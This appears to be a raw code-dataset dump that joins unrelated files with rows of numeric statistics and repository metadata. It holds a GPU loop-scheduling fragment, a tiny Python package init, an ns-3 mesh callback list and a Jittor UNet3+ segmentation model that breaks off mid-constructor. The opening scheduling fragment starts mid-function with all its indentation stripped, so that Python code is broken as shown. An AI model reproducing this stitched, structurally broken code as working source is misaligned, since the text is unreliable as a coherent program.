axis = spatial_axis[1]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[2]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = split_axis_z[0]
self.vz = split_axis_z[1]
self.tz = split_axis_z[2]
self.iz = split_axis_z[3]
self.by = split_axis_y[0]
self.vy = split_axis_y[1]
self.ty = split_axis_y[2]
self.iy = split_axis_y[3]
self.bx = split_axis_x[0]
self.vx = split_axis_x[1]
self.tx = split_axis_x[2]
self.ix = split_axis_x[3]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.vz, self.vy, self.vx,
self.tz, self.ty, self.tx,
self.iz, self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.vy, vy)
self.sch[base].bind(self.ty, ty)
self.sch[base].bind(self.bz, bz)
self.sch[base].bind(self.vz, vz)
self.sch[base].bind(self.tz, tz)
else:
# the dim number > 3
# find the smallest dims
to_sort = zip(
spatial_axis, [to_int(x.dom.extent) for x in spatial_axis])
# ascending
after_sort = list(sorted(to_sort, key=lambda x: x[1]))
outer_extent = reduce(lambda x, y: x * y, [x[1] for x in after_sort[:-2]], 1)
after_sort = [x[0] for x in after_sort]
# fuse the small axis together
# parallel them through block z dim
self.sch[base].reorder(*after_sort)
fuse_axis = self.sch[base].fuse(*after_sort[:-2])
# self.space.add_split(
# self.name, "tile_y", spatial_axis[-2], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_x", spatial_axis[-1], nparts=4, default=[[-1, 2, 32, -1]])
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[-2].dom.extent)
ext_x = to_int(spatial_axis[-1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), outer_extent, num_inputs, 0)
self.ext_ty = factors_y[2]
self.ext_tx = factors_x[2]
split_axis_y = []
axis = after_sort[-2]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = after_sort[-1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = fuse_axis
self.by = split_axis_y[0]
self.vy = split_axis_y[1]
self.ty = split_axis_y[2]
self.iy = split_axis_y[3]
self.bx = split_axis_x[0]
self.vx = split_axis_x[1]
self.tx = split_axis_x[2]
self.ix = split_axis_x[3]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.vy, self.vx,
self.ty, self.tx,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.vy, vy)
self.sch[base].bind(self.ty, ty)
self.sch[base].bind(self.bz, bz)
def fuse_prologue(self):
base = self.connected_set.base
assert self.ix is not None
inner_most_pos = self.ix
for op in self.connected_set.prologue:
self.sch[op].compute_at(self.sch[base], inner_most_pos)
def fuse_epilogue(self):
base = self.connected_set.base
assert self.ix is not None
inner_most_pos = self.ix
for op in self.connected_set.epilogue:
self.sch[op].compute_at(self.sch[base], inner_most_pos)
def unroll_loop(self):
kernel_scope = None
for candidate in [self.kernel_scope, self.bz, self.by, self.bx]:
if candidate is not None:
kernel_scope = candidate
break
if kernel_scope is not None:
base = self.connected_set.base
# self.space.add_unroll(self.name, default=[128, 256, 512, 1024, 1500])
# step, explicit = self.tuner.propose_unroll(self.name)
step, explicit = self.scheduler.schedule_unroll(self.name)
self.sch[base].pragma(kernel_scope, 'auto_unroll_max_step', step)
self.sch[base].pragma(kernel_scope, 'unroll_explicit', explicit)
| 36.739405 | 117 | 0.60253 | 11,958 | 81,488 | 3.909015 | 0.034705 | 0.051065 | 0.048947 | 0.031448 | 0.876241 | 0.860816 | 0.844472 | 0.835316 | 0.822951 | 0.806863 | 0 | 0.015127 | 0.27069 | 81,488 | 2,217 | 118 | 36.755977 | 0.771412 | 0.259866 | 0 | 0.844972 | 0 | 0 | 0.008869 | 0 | 0 | 0 | 0 | 0.001353 | 0.011173 | 1 | 0.041201 | false | 0.002793 | 0.00419 | 0.007682 | 0.078212 | 0.000698 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
643b322710e89ada30b68768d0278ab467aaad5e | 404 | py | Python | vows/__init__.py | htmue/python-wishes | b0238525465ba9e3ee4fbc9a26e40d663dfb6740 | [
"Unlicense"
] | null | null | null | vows/__init__.py | htmue/python-wishes | b0238525465ba9e3ee4fbc9a26e40d663dfb6740 | [
"Unlicense"
] | null | null | null | vows/__init__.py | htmue/python-wishes | b0238525465ba9e3ee4fbc9a26e40d663dfb6740 | [
"Unlicense"
] | null | null | null | # -*- coding:utf-8 -*-
# Created by Hans-Thomas on 2011-05-11.
#=============================================================================
# __init__.py --- Vows API promises, tests support code
#=============================================================================
from . import extra_matchers
#.............................................................................
# __init__.py
| 40.4 | 78 | 0.282178 | 25 | 404 | 4.2 | 0.92 | 0.114286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024259 | 0.081683 | 404 | 9 | 79 | 44.888889 | 0.25876 | 0.888614 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
ff77d1ed9671c7b3757bc79735aad77b4b32320c | 2,441 | py | Python | ns3/ns-3.26/src/mesh/bindings/callbacks_list.py | Aedemon/clusim | 7f09cdb79b5f02cf0fed1bd44842981941f29f32 | [
"Apache-2.0"
] | 7 | 2017-08-11T06:06:47.000Z | 2022-02-27T07:34:33.000Z | ns3/ns-3.26/src/mesh/bindings/callbacks_list.py | Aedemon/clusim | 7f09cdb79b5f02cf0fed1bd44842981941f29f32 | [
"Apache-2.0"
] | 3 | 2017-08-11T03:04:59.000Z | 2017-09-11T14:01:14.000Z | ns3/ns-3.26/src/mesh/bindings/callbacks_list.py | Aedemon/clusim | 7f09cdb79b5f02cf0fed1bd44842981941f29f32 | [
"Apache-2.0"
] | 3 | 2017-08-08T13:36:30.000Z | 2018-07-04T09:49:41.000Z | callback_classes = [
['void', 'ns3::Mac48Address', 'ns3::Mac48Address', 'unsigned int', 'bool', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['void', 'unsigned int', 'ns3::Mac48Address', 'ns3::Mac48Address', 'ns3::dot11s::PeerLink::PeerState', 'ns3::dot11s::PeerLink::PeerState', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['std::vector<ns3::Mac48Address, std::allocator<ns3::Mac48Address> >', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['void', 'bool', 'ns3::Ptr<ns3::Packet>', 'ns3::Mac48Address', 'ns3::Mac48Address', 'unsigned short', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['unsigned int', 'ns3::Mac48Address', 'ns3::Ptr<ns3::MeshWifiInterfaceMac>', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['void', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['void', 'ns3::WifiMacHeader const&', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['void', 'ns3::Ptr<ns3::Packet>', 'ns3::Mac48Address', 'ns3::Mac48Address', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['void', 'ns3::Mac48Address', 'unsigned char', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['void', 'ns3::Mac48Address', 'unsigned char', 'bool', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['void', 'ns3::Ptr<ns3::NetDevice>', 'ns3::Ptr<ns3::Packet const>', 'unsigned short', 'ns3::Address const&', 'ns3::Address const&', 'ns3::NetDevice::PacketType', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['bool', 'ns3::Ptr<ns3::NetDevice>', 'ns3::Ptr<ns3::Packet const>', 'unsigned short', 'ns3::Address const&', 'ns3::Address const&', 'ns3::NetDevice::PacketType', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['bool', 'ns3::Ptr<ns3::NetDevice>', 'ns3::Ptr<ns3::Packet const>', 'unsigned short', 'ns3::Address const&', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
['unsigned char', 'ns3::Ptr<ns3::QueueItem>', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'],
]
| 143.588235 | 208 | 0.602212 | 309 | 2,441 | 4.754045 | 0.084142 | 0.446562 | 0.50919 | 0.74064 | 0.902655 | 0.793737 | 0.793737 | 0.782845 | 0.674609 | 0.674609 | 0 | 0.069883 | 0.091356 | 2,441 | 16 | 209 | 152.5625 | 0.592426 | 0 | 0 | 0 | 0 | 0 | 0.726751 | 0.144203 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
ff7923573d56980ad5d5e5566a8d8f6023dc871b | 38,963 | py | Python | model/UNet3plus.py | THU-CVlab/JMedSeg | 1c9c66a1b2c6e4c5e3f70ca9e1ed54447b944755 | [
"MIT"
] | 26 | 2021-08-19T05:22:44.000Z | 2022-03-08T05:44:43.000Z | model/UNet3plus.py | Jittor/JMedSeg | 1c9c66a1b2c6e4c5e3f70ca9e1ed54447b944755 | [
"MIT"
] | null | null | null | model/UNet3plus.py | Jittor/JMedSeg | 1c9c66a1b2c6e4c5e3f70ca9e1ed54447b944755 | [
"MIT"
] | 3 | 2021-08-19T06:12:49.000Z | 2021-08-19T11:41:16.000Z | '''
pytorch implementation: https://github.com/avBuffer/UNet3plus_pth/blob/master/unet/UNet3Plus.py
'''
import jittor as jt
from jittor import init
import numpy as np
from jittor import nn
class DoubleConv(nn.Module):
def __init__(self, in_channels, out_channels, mid_channels=None):
super().__init__()
if (not mid_channels):
mid_channels = out_channels
self.double_conv = nn.Sequential(
nn.Conv(in_channels, mid_channels, 3, padding=1),
nn.BatchNorm(mid_channels),
nn.ReLU(),
nn.Conv(mid_channels, out_channels, 3, padding=1),
nn.BatchNorm(out_channels),
nn.ReLU()
)
def execute(self, x):
return self.double_conv(x)
class OutConv(nn.Module):
def __init__(self, in_channels, out_channels):
super(OutConv, self).__init__()
self.conv = nn.Conv(in_channels, out_channels, 1)
def execute(self, x):
return self.conv(x)
class UNet3Plus(nn.Module):
def __init__(self, in_ch=3, n_classes=2, bilinear=True):
super(UNet3Plus, self).__init__()
filters = [64, 128, 256, 512, 1024]
## -------------Encoder--------------
self.conv1 = DoubleConv(in_ch, filters[0])
self.maxpool1 = nn.Pool(2, op='maximum')
self.conv2 = DoubleConv(filters[0], filters[1])
self.maxpool2 = nn.Pool(2, op='maximum')
self.conv3 = DoubleConv(filters[1], filters[2])
self.maxpool3 = nn.Pool(2, op='maximum')
self.conv4 = DoubleConv(filters[2], filters[3])
self.maxpool4 = nn.Pool(2, op='maximum')
self.conv5 = DoubleConv(filters[3], filters[4])
## -------------Decoder--------------
self.CatChannels = filters[0]
self.CatBlocks = 5
self.UpChannels = (self.CatChannels * self.CatBlocks)
'''stage 4d'''
# h1->512*512, hd4->64*64, Pooling 8 times
self.h1_PT_hd4 = nn.Pool(8, stride=8, ceil_mode=True, op='maximum')
self.h1_PT_hd4_conv = nn.Conv(filters[0], self.CatChannels, 3, padding=1)
self.h1_PT_hd4_bn = nn.BatchNorm(self.CatChannels)
self.h1_PT_hd4_relu = nn.ReLU()
# h2->256*256, hd4->64*64, Pooling 4 times
self.h2_PT_hd4 = nn.Pool(4, stride=4, ceil_mode=True, op='maximum')
self.h2_PT_hd4_conv = nn.Conv(filters[1], self.CatChannels, 3, padding=1)
self.h2_PT_hd4_bn = nn.BatchNorm(self.CatChannels)
self.h2_PT_hd4_relu = nn.ReLU()
# h3->128*128, hd4->64*64, Pooling 2 times
self.h3_PT_hd4 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum')
self.h3_PT_hd4_conv = nn.Conv(filters[2], self.CatChannels, 3, padding=1)
self.h3_PT_hd4_bn = nn.BatchNorm(self.CatChannels)
self.h3_PT_hd4_relu = nn.ReLU()
# h4->64*64, hd4->64*64, Concatenation
self.h4_Cat_hd4_conv = nn.Conv(filters[3], self.CatChannels, 3, padding=1)
self.h4_Cat_hd4_bn = nn.BatchNorm(self.CatChannels)
self.h4_Cat_hd4_relu = nn.ReLU()
# hd5->32*32, hd4->64*64, Upsample 2 times
self.hd5_UT_hd4 = nn.Upsample(scale_factor=2, mode='bilinear')
self.hd5_UT_hd4_conv = nn.Conv(filters[4], self.CatChannels, 3, padding=1)
self.hd5_UT_hd4_bn = nn.BatchNorm(self.CatChannels)
self.hd5_UT_hd4_relu = nn.ReLU()
# fusion(h1_PT_hd4, h2_PT_hd4, h3_PT_hd4, h4_Cat_hd4, hd5_UT_hd4)
self.conv4d_1 = nn.Conv(self.UpChannels, self.UpChannels, 3, padding=1)
self.bn4d_1 = nn.BatchNorm(self.UpChannels)
self.relu4d_1 = nn.ReLU()
'''stage 3d'''
# h1->512*512, hd3->128*128, Pooling 4 times
self.h1_PT_hd3 = nn.Pool(4, stride=4, ceil_mode=True, op='maximum')
self.h1_PT_hd3_conv = nn.Conv(filters[0], self.CatChannels, 3, padding=1)
self.h1_PT_hd3_bn = nn.BatchNorm(self.CatChannels)
self.h1_PT_hd3_relu = nn.ReLU()
# h2->256*256, hd3->128*128, Pooling 2 times
self.h2_PT_hd3 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum')
self.h2_PT_hd3_conv = nn.Conv(filters[1], self.CatChannels, 3, padding=1)
self.h2_PT_hd3_bn = nn.BatchNorm(self.CatChannels)
self.h2_PT_hd3_relu = nn.ReLU()
# h3->128*128, hd3->128*128, Concatenation
self.h3_Cat_hd3_conv = nn.Conv(filters[2], self.CatChannels, 3, padding=1)
self.h3_Cat_hd3_bn = nn.BatchNorm(self.CatChannels)
self.h3_Cat_hd3_relu = nn.ReLU()
# hd4->64*64, hd4->128*128, Upsample 2 times
self.hd4_UT_hd3 = nn.Upsample(scale_factor=2, mode='bilinear')
self.hd4_UT_hd3_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd4_UT_hd3_bn = nn.BatchNorm(self.CatChannels)
self.hd4_UT_hd3_relu = nn.ReLU()
# hd5->32*32, hd4->128*128, Upsample 4 times
self.hd5_UT_hd3 = nn.Upsample(scale_factor=4, mode='bilinear')
self.hd5_UT_hd3_conv = nn.Conv(filters[4], self.CatChannels, 3, padding=1)
self.hd5_UT_hd3_bn = nn.BatchNorm(self.CatChannels)
self.hd5_UT_hd3_relu = nn.ReLU()
# fusion(h1_PT_hd3, h2_PT_hd3, h3_Cat_hd3, hd4_UT_hd3, hd5_UT_hd3)
self.conv3d_1 = nn.Conv(self.UpChannels, self.UpChannels, 3, padding=1)
self.bn3d_1 = nn.BatchNorm(self.UpChannels)
self.relu3d_1 = nn.ReLU()
'''stage 2d'''
# h1->512*512, hd2->256*256, Pooling 2 times
self.h1_PT_hd2 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum')
self.h1_PT_hd2_conv = nn.Conv(filters[0], self.CatChannels, 3, padding=1)
self.h1_PT_hd2_bn = nn.BatchNorm(self.CatChannels)
self.h1_PT_hd2_relu = nn.ReLU()
# h2->256*256, hd2->256*256, Concatenation
self.h2_Cat_hd2_conv = nn.Conv(filters[1], self.CatChannels, 3, padding=1)
self.h2_Cat_hd2_bn = nn.BatchNorm(self.CatChannels)
self.h2_Cat_hd2_relu = nn.ReLU()
# hd3->128*128, hd2->256*256, Upsample 2 times
self.hd3_UT_hd2 = nn.Upsample(scale_factor=2, mode='bilinear')
self.hd3_UT_hd2_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd3_UT_hd2_bn = nn.BatchNorm(self.CatChannels)
self.hd3_UT_hd2_relu = nn.ReLU()
# hd4->64*64, hd2->256*256, Upsample 4 times
self.hd4_UT_hd2 = nn.Upsample(scale_factor=4, mode='bilinear')
self.hd4_UT_hd2_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd4_UT_hd2_bn = nn.BatchNorm(self.CatChannels)
self.hd4_UT_hd2_relu = nn.ReLU()
# hd5->32*32, hd2->256*256, Upsample 8 times
self.hd5_UT_hd2 = nn.Upsample(scale_factor=8, mode='bilinear')
self.hd5_UT_hd2_conv = nn.Conv(filters[4], self.CatChannels, 3, padding=1)
self.hd5_UT_hd2_bn = nn.BatchNorm(self.CatChannels)
self.hd5_UT_hd2_relu = nn.ReLU()
# fusion(h1_PT_hd2, h2_Cat_hd2, hd3_UT_hd2, hd4_UT_hd2, hd5_UT_hd2)
self.conv2d_1 = nn.Conv(self.UpChannels, self.UpChannels, 3, padding=1)
self.bn2d_1 = nn.BatchNorm(self.UpChannels)
self.relu2d_1 = nn.ReLU()
'''stage 1d'''
# h1->512*512, hd1->512*512, Concatenation
self.h1_Cat_hd1_conv = nn.Conv(filters[0], self.CatChannels, 3, padding=1)
self.h1_Cat_hd1_bn = nn.BatchNorm(self.CatChannels)
self.h1_Cat_hd1_relu = nn.ReLU()
# hd2->256*256, hd1->512*512, Upsample 2 times
self.hd2_UT_hd1 = nn.Upsample(scale_factor=2, mode='bilinear')
self.hd2_UT_hd1_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd2_UT_hd1_bn = nn.BatchNorm(self.CatChannels)
self.hd2_UT_hd1_relu = nn.ReLU()
# hd3->128*128, hd1->512*512, Upsample 4 times
self.hd3_UT_hd1 = nn.Upsample(scale_factor=4, mode='bilinear')
self.hd3_UT_hd1_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd3_UT_hd1_bn = nn.BatchNorm(self.CatChannels)
self.hd3_UT_hd1_relu = nn.ReLU()
# hd4->64*64, hd1->512*512, Upsample 8 times
self.hd4_UT_hd1 = nn.Upsample(scale_factor=8, mode='bilinear')
self.hd4_UT_hd1_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd4_UT_hd1_bn = nn.BatchNorm(self.CatChannels)
self.hd4_UT_hd1_relu = nn.ReLU()
# hd5->32*32, hd1->512*512, Upsample 16 times
self.hd5_UT_hd1 = nn.Upsample(scale_factor=16, mode='bilinear')
self.hd5_UT_hd1_conv = nn.Conv(filters[4], self.CatChannels, 3, padding=1)
self.hd5_UT_hd1_bn = nn.BatchNorm(self.CatChannels)
self.hd5_UT_hd1_relu = nn.ReLU()
# fusion(h1_Cat_hd1, hd2_UT_hd1, hd3_UT_hd1, hd4_UT_hd1, hd5_UT_hd1)
self.conv1d_1 = nn.Conv(self.UpChannels, self.UpChannels, 3, padding=1)
self.bn1d_1 = nn.BatchNorm(self.UpChannels)
self.relu1d_1 = nn.ReLU()
# output
self.outc = OutConv(self.UpChannels, n_classes)
def execute(self, inputs):
h1 = self.conv1(inputs)
h2 = self.maxpool1(h1)
h2 = self.conv2(h2)
h3 = self.maxpool2(h2)
h3 = self.conv3(h3)
h4 = self.maxpool3(h3)
h4 = self.conv4(h4)
h5 = self.maxpool4(h4)
hd5 = self.conv5(h5)
h1_PT_hd4 = self.h1_PT_hd4_relu(self.h1_PT_hd4_bn(self.h1_PT_hd4_conv(self.h1_PT_hd4(h1))))
h2_PT_hd4 = self.h2_PT_hd4_relu(self.h2_PT_hd4_bn(self.h2_PT_hd4_conv(self.h2_PT_hd4(h2))))
h3_PT_hd4 = self.h3_PT_hd4_relu(self.h3_PT_hd4_bn(self.h3_PT_hd4_conv(self.h3_PT_hd4(h3))))
h4_Cat_hd4 = self.h4_Cat_hd4_relu(self.h4_Cat_hd4_bn(self.h4_Cat_hd4_conv(h4)))
hd5_UT_hd4 = self.hd5_UT_hd4_relu(self.hd5_UT_hd4_bn(self.hd5_UT_hd4_conv(self.hd5_UT_hd4(hd5))))
hd4 = self.relu4d_1(self.bn4d_1(self.conv4d_1(jt.contrib.concat((h1_PT_hd4, h2_PT_hd4, h3_PT_hd4, h4_Cat_hd4, hd5_UT_hd4), dim=1))))
h1_PT_hd3 = self.h1_PT_hd3_relu(self.h1_PT_hd3_bn(self.h1_PT_hd3_conv(self.h1_PT_hd3(h1))))
h2_PT_hd3 = self.h2_PT_hd3_relu(self.h2_PT_hd3_bn(self.h2_PT_hd3_conv(self.h2_PT_hd3(h2))))
h3_Cat_hd3 = self.h3_Cat_hd3_relu(self.h3_Cat_hd3_bn(self.h3_Cat_hd3_conv(h3)))
hd4_UT_hd3 = self.hd4_UT_hd3_relu(self.hd4_UT_hd3_bn(self.hd4_UT_hd3_conv(self.hd4_UT_hd3(hd4))))
hd5_UT_hd3 = self.hd5_UT_hd3_relu(self.hd5_UT_hd3_bn(self.hd5_UT_hd3_conv(self.hd5_UT_hd3(hd5))))
hd3 = self.relu3d_1(self.bn3d_1(self.conv3d_1(jt.contrib.concat((h1_PT_hd3, h2_PT_hd3, h3_Cat_hd3, hd4_UT_hd3, hd5_UT_hd3), dim=1))))
h1_PT_hd2 = self.h1_PT_hd2_relu(self.h1_PT_hd2_bn(self.h1_PT_hd2_conv(self.h1_PT_hd2(h1))))
h2_Cat_hd2 = self.h2_Cat_hd2_relu(self.h2_Cat_hd2_bn(self.h2_Cat_hd2_conv(h2)))
hd3_UT_hd2 = self.hd3_UT_hd2_relu(self.hd3_UT_hd2_bn(self.hd3_UT_hd2_conv(self.hd3_UT_hd2(hd3))))
hd4_UT_hd2 = self.hd4_UT_hd2_relu(self.hd4_UT_hd2_bn(self.hd4_UT_hd2_conv(self.hd4_UT_hd2(hd4))))
hd5_UT_hd2 = self.hd5_UT_hd2_relu(self.hd5_UT_hd2_bn(self.hd5_UT_hd2_conv(self.hd5_UT_hd2(hd5))))
hd2 = self.relu2d_1(self.bn2d_1(self.conv2d_1(jt.contrib.concat((h1_PT_hd2, h2_Cat_hd2, hd3_UT_hd2, hd4_UT_hd2, hd5_UT_hd2), dim=1))))
h1_Cat_hd1 = self.h1_Cat_hd1_relu(self.h1_Cat_hd1_bn(self.h1_Cat_hd1_conv(h1)))
hd2_UT_hd1 = self.hd2_UT_hd1_relu(self.hd2_UT_hd1_bn(self.hd2_UT_hd1_conv(self.hd2_UT_hd1(hd2))))
hd3_UT_hd1 = self.hd3_UT_hd1_relu(self.hd3_UT_hd1_bn(self.hd3_UT_hd1_conv(self.hd3_UT_hd1(hd3))))
hd4_UT_hd1 = self.hd4_UT_hd1_relu(self.hd4_UT_hd1_bn(self.hd4_UT_hd1_conv(self.hd4_UT_hd1(hd4))))
hd5_UT_hd1 = self.hd5_UT_hd1_relu(self.hd5_UT_hd1_bn(self.hd5_UT_hd1_conv(self.hd5_UT_hd1(hd5))))
hd1 = self.relu1d_1(self.bn1d_1(self.conv1d_1(jt.contrib.concat((h1_Cat_hd1, hd2_UT_hd1, hd3_UT_hd1, hd4_UT_hd1, hd5_UT_hd1), dim=1))))
out = self.outc(hd1)
return out
def get_loss(self, target, pred, ignore_index=None):
loss_pred = nn.cross_entropy_loss(pred, target, ignore_index=ignore_index)
return loss_pred
def update_params(self, loss, optimizer):
optimizer.zero_grad()
loss.backward()
optimizer.step()
'''
UNet 3+ with deep supervision
'''
class UNet3Plus_DeepSup(nn.Module):
def __init__(self, in_ch=3, n_classes=2, bilinear=True):
super(UNet3Plus_DeepSup, self).__init__()
filters = [64, 128, 256, 512, 1024]
## -------------Encoder--------------
self.conv1 = DoubleConv(in_ch, filters[0])
self.maxpool1 = nn.Pool(2, op='maximum')
self.conv2 = DoubleConv(filters[0], filters[1])
self.maxpool2 = nn.Pool(2, op='maximum')
self.conv3 = DoubleConv(filters[1], filters[2])
self.maxpool3 = nn.Pool(2, op='maximum')
self.conv4 = DoubleConv(filters[2], filters[3])
self.maxpool4 = nn.Pool(2, op='maximum')
self.conv5 = DoubleConv(filters[3], filters[4])
## -------------Decoder--------------
self.CatChannels = filters[0]
self.CatBlocks = 5
self.UpChannels = (self.CatChannels * self.CatBlocks)
'''stage 4d'''
# h1->512*512, hd4->64*64, Pooling 8 times
self.h1_PT_hd4 = nn.Pool(8, stride=8, ceil_mode=True, op='maximum')
self.h1_PT_hd4_conv = nn.Conv(filters[0], self.CatChannels, 3, padding=1)
self.h1_PT_hd4_bn = nn.BatchNorm(self.CatChannels)
self.h1_PT_hd4_relu = nn.ReLU()
# h2->256*256, hd4->64*64, Pooling 4 times
self.h2_PT_hd4 = nn.Pool(4, stride=4, ceil_mode=True, op='maximum')
self.h2_PT_hd4_conv = nn.Conv(filters[1], self.CatChannels, 3, padding=1)
self.h2_PT_hd4_bn = nn.BatchNorm(self.CatChannels)
self.h2_PT_hd4_relu = nn.ReLU()
# h3->128*128, hd4->64*64, Pooling 2 times
self.h3_PT_hd4 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum')
self.h3_PT_hd4_conv = nn.Conv(filters[2], self.CatChannels, 3, padding=1)
self.h3_PT_hd4_bn = nn.BatchNorm(self.CatChannels)
self.h3_PT_hd4_relu = nn.ReLU()
# h4->64*64, hd4->64*64, Concatenation
self.h4_Cat_hd4_conv = nn.Conv(filters[3], self.CatChannels, 3, padding=1)
self.h4_Cat_hd4_bn = nn.BatchNorm(self.CatChannels)
self.h4_Cat_hd4_relu = nn.ReLU()
# hd5->32*32, hd4->64*64, Upsample 2 times
self.hd5_UT_hd4 = nn.Upsample(scale_factor=2, mode='bilinear')
self.hd5_UT_hd4_conv = nn.Conv(filters[4], self.CatChannels, 3, padding=1)
self.hd5_UT_hd4_bn = nn.BatchNorm(self.CatChannels)
self.hd5_UT_hd4_relu = nn.ReLU()
# fusion(h1_PT_hd4, h2_PT_hd4, h3_PT_hd4, h4_Cat_hd4, hd5_UT_hd4)
self.conv4d_1 = nn.Conv(self.UpChannels, self.UpChannels, 3, padding=1)
self.bn4d_1 = nn.BatchNorm(self.UpChannels)
self.relu4d_1 = nn.ReLU()
'''stage 3d'''
# h1->512*512, hd3->128*128, Pooling 4 times
self.h1_PT_hd3 = nn.Pool(4, stride=4, ceil_mode=True, op='maximum')
self.h1_PT_hd3_conv = nn.Conv(filters[0], self.CatChannels, 3, padding=1)
self.h1_PT_hd3_bn = nn.BatchNorm(self.CatChannels)
self.h1_PT_hd3_relu = nn.ReLU()
# h2->256*256, hd3->128*128, Pooling 2 times
self.h2_PT_hd3 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum')
self.h2_PT_hd3_conv = nn.Conv(filters[1], self.CatChannels, 3, padding=1)
self.h2_PT_hd3_bn = nn.BatchNorm(self.CatChannels)
self.h2_PT_hd3_relu = nn.ReLU()
# h3->128*128, hd3->128*128, Concatenation
self.h3_Cat_hd3_conv = nn.Conv(filters[2], self.CatChannels, 3, padding=1)
self.h3_Cat_hd3_bn = nn.BatchNorm(self.CatChannels)
self.h3_Cat_hd3_relu = nn.ReLU()
# hd4->64*64, hd4->128*128, Upsample 2 times
self.hd4_UT_hd3 = nn.Upsample(scale_factor=2, mode='bilinear')
self.hd4_UT_hd3_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd4_UT_hd3_bn = nn.BatchNorm(self.CatChannels)
self.hd4_UT_hd3_relu = nn.ReLU()
# hd5->32*32, hd4->128*128, Upsample 4 times
self.hd5_UT_hd3 = nn.Upsample(scale_factor=4, mode='bilinear')
self.hd5_UT_hd3_conv = nn.Conv(filters[4], self.CatChannels, 3, padding=1)
self.hd5_UT_hd3_bn = nn.BatchNorm(self.CatChannels)
self.hd5_UT_hd3_relu = nn.ReLU()
# fusion(h1_PT_hd3, h2_PT_hd3, h3_Cat_hd3, hd4_UT_hd3, hd5_UT_hd3)
self.conv3d_1 = nn.Conv(self.UpChannels, self.UpChannels, 3, padding=1)
self.bn3d_1 = nn.BatchNorm(self.UpChannels)
